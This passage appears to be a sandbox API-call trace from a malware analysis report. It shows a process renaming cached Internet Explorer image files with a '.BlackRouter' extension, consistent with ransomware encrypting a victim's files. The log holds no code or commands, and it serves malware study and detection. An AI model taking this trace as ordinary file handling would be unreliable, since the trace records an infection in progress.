lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7fd [0068.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ec0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ec0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf6a2610, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0068.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg.blackrouter")) returned 1 [0068.619] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x82f [0068.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf6a2610, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0068.623] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg.blackrouter")) returned 1 [0068.623] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1afe [0068.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b2e35a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5b2e35a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf6c8770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b00)) returned 1 [0068.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg.blackrouter")) returned 1 [0068.634] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1fc3 [0068.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53089b90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53089b90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf6c8770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1fd0)) returned 1 [0068.641] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg.blackrouter")) returned 1 [0068.642] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ecb [0068.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf6ee8d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2ed0)) returned 1 [0068.654] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg.blackrouter")) returned 1 [0068.655] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9c5 [0068.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf714a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1 [0068.665] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg.blackrouter")) returned 1 [0068.666] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2669 [0068.672] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b9c870, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b9c870, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf714a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2670)) returned 1 [0068.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg.blackrouter")) returned 1 [0068.673] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2a77 [0068.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf73ab90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2a80)) returned 1 [0068.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg.blackrouter")) returned 1 [0068.683] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2fe3 [0068.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf760cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0)) returned 1 [0068.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg.blackrouter")) returned 1 [0068.693] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x857 [0068.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf760cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1 [0068.706] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg.blackrouter")) returned 1 [0068.707] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7d9 [0068.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf786e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7e0)) returned 1 [0068.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg.blackrouter")) returned 1 [0068.719] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8c5 [0068.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf786e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8d0)) returned 1 [0068.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg.blackrouter")) returned 1 [0068.724] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3323 [0068.727] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf7acfb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3330)) returned 1 [0068.727] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg.blackrouter")) returned 1 [0068.730] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9d7 [0068.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf7acfb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9e0)) returned 1 [0068.738] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg.blackrouter")) returned 1 [0068.739] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2d32 [0068.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf7d3110, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d40)) returned 1 [0068.743] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg.blackrouter")) returned 1 [0068.744] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x85d [0068.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b2a450, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b2a450, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf7d3110, 